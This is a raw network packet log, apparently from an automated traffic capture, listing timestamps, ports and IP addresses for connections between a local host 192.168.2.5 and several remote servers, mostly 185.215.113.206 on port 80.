Nov 25, 2024 16:21:42.218705893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.219706059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.219750881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.219845057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.219845057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.220473051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.220613956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.220642090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.220906019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.221477032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.221525908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.221719027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.222451925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.222490072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.222548008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.223450899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.223562002 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.223567963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.223689079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.224411964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.224502087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.224782944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.225399017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.225445032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.225513935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.226382017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.226488113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.226516962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.227413893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.227536917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.227536917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.227622032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.228430033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.228442907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.228703022 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.229424000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.229541063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.229600906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.229600906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.230348110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.230442047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.230468035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.230561018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.231307983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.231358051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.231554985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.232321024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.232403040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.232511997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.233269930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.233283997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.233320951 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.233354092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.233393908 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.233620882 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.234117031 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.234117031 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.234123945 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.234131098 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.234280109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.234404087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.234433889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.234456062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.235169888 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.235229969 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.235236883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.235326052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.235404015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.235409975 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.235974073 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.235997915 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.236023903 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.236031055 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.238678932 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.238723993 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.239548922 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.239562988 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.239593029 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.239628077 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.239842892 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.239861012 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.239942074 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.239950895 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.345168114 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:42.345247030 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:42.345343113 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:42.349874973 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:42.349900961 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:42.376307011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.376332998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.376419067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.376419067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.376609087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.376651049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.376665115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.376729965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.377624035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.377717018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.377727032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.378257990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.378700972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.378791094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.378796101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.378875017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.379681110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.379744053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.379769087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.379823923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.380660057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.380707979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.380734921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.381114006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.381531000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.381622076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.381688118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.382638931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.382725000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.382749081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.382816076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.383471966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.383795023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.383866072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.384551048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.384772062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.384800911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.384897947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.385478973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.385617018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.385637999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.386451960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.386569977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.386626959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.386773109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.387489080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.387502909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.387592077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.388458967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.388521910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.388634920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.389542103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.389717102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.389744043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.390388012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.390558958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.390625954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.390721083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.390774012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.391371012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.391453028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.391475916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.391590118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.392409086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.392492056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.392529011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.392741919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.393449068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.393527985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.393551111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.393640995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.394386053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.394449949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.394489050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.394531012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.395284891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.395332098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.395356894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.395632029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.396281958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.396322966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.396348953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.396517992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.397299051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.397433043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.397578001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.398614883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.398665905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.398787022 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.399297953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.399413109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.399734974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.400357008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.400398016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.400466919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.401195049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.401283026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.401295900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.401411057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.402405977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.402419090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.402950048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.403182030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.403326988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.403428078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.404171944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.404258013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.404285908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.404378891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.405225039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.405354977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.405390978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.405632973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.406145096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.406209946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.406234026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.406275034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.407146931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.407231092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.407535076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.408102989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.408132076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.408221960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.408246994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.409123898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.409218073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.409244061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.409377098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.410101891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.410238981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.410264969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.411091089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.411232948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.411261082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.411304951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.412113905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.412235975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.412265062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.413173914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.413201094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.413291931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.413321972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.413503885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.414185047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.414220095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.414293051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.414293051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.415020943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.415227890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.415252924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.415364981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.416021109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.416081905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.416152954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.416960955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.417037010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.417062044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.417177916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.418009043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.418062925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.418220997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.418962955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.419039011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.419148922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.419292927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.419931889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.419981956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.420010090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.420128107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.420918941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.420993090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.420999050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.421072006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.421900988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.421931982 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.421960115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.421993017 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.422069073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.422095060 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.422117949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.422894001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.422982931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.423011065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.423038006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.423902035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.423980951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.424150944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.424874067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.424983025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.425007105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.425735950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.425898075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.426079988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.426107883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.426264048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.426826954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.426933050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.426959991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.427788973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.428188086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.434748888 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.434766054 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.434798002 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.434803963 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.450020075 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.450118065 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.450196028 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.450222969 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.455219030 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.455509901 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.465539932 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.465559006 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.466025114 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.469472885 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.469495058 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.471210957 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.471210957 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.471223116 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.471236944 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.471471071 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.471782923 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.471793890 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.503901958 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.503936052 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.504005909 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.504018068 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.505963087 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.505990028 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.505997896 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.506021976 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.506119967 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.507945061 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.510636091 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.510659933 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.510734081 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.510775089 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.511308908 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.511362076 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.511370897 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.511502028 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.512152910 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.512173891 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.512191057 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.512195110 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.512346029 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.512413979 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.512413979 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.512909889 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.512929916 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.513031960 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.513040066 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.514101028 CET	443	49843	13.107.246.40	192.168.2.5
